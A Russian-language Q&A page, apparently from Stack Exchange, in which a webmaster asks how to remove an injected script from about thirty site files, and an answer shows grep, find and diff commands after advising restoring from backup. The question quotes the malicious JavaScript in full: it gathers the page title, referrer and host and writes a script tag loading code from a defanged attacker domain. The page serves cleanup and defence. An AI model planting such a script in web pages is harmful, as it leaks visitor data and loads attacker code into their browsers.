.%20sed%2C%20awk%2C%20grep.png)
Мой сайт был взломан / заражен. Я заменил URL вредоносной ссылки, но другие элементы вредоносного скрипта по-прежнему блокируют мой сайт. Как мне удалить следующий скрипт из 3 десятков файлов на моем сайте, не вставляя около сотни "экранирований"?
< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>
Другие страницы на stack-exchange не дают ответа на этот вопрос.
Чтобы заменить вредоносный URL-адрес на xxxx_hack_was_here и т. д., я использовал:
find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +
решение1
Во-первых, я согласен с комментариями выше:Не используйте sed
для восстановления после взлома. Вы всегда будете думать, что вы что-то упустили. Восстановите из резервной копии, и точка.
Однако буквальный вопрос, который вы задали, а именно, как удалить длинную строку везде, где она встречается, не экранируя каждый специальный символ, решить несколько проще.
Я делаю некоторые выводы/предположения из вашего вопроса, которые вы на самом деле не высказали напрямую:
- Удаляемая строка представляет собой одну строку.
- Каждый раз это происходит одинаково.
- Это необходимоудаленный, а не заменено чем-то другим.
Если приведенные выше предположения верны, выполните следующие действия:
- Поместите строку, которую нужно удалить (включая все конечные пробелы), в отдельный файл, назвав его eg
hackline.txt
. Поместите этот уровеньвышекаталог, с которым вы собираетесь работать. Скопируйте весь каталог на случай ошибок.
cp -a mydir mydircopy
Запустите следующий цикл в своем каталоге (или его копии), чтобы удалить все экземпляры hackline:
cd mydir for f in *; do [ -f "$f" ] && [ -r "$f" ] || continue grep -vxFf ../hackline.txt "$f" > "$f.fixed" && mv -- "$f.fixed" "$f" done
Идея здесь заключается в том, что вы используете hackline.txt
список фиксированных строк, которые должны соответствовать всей строке, затем вы используетеgrep
чтобы получить только те строки, которыенесопоставьте этот список строк.
-x
означает «вся строка»; -F
означает «фиксированная строка, а не регулярное выражение»; -v
инвертирует поиск; -f
принимает список шаблонов в файле.
Если каталог вашего веб-сайта является иерархическим, а не плоским (что на самом деле довольно вероятно), вы можете использовать find
вместо цикла for:
find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;
Затем используйте рекурсию diff
, чтобы проверить, что все так, как должно быть:
diff -r mydircopy mydir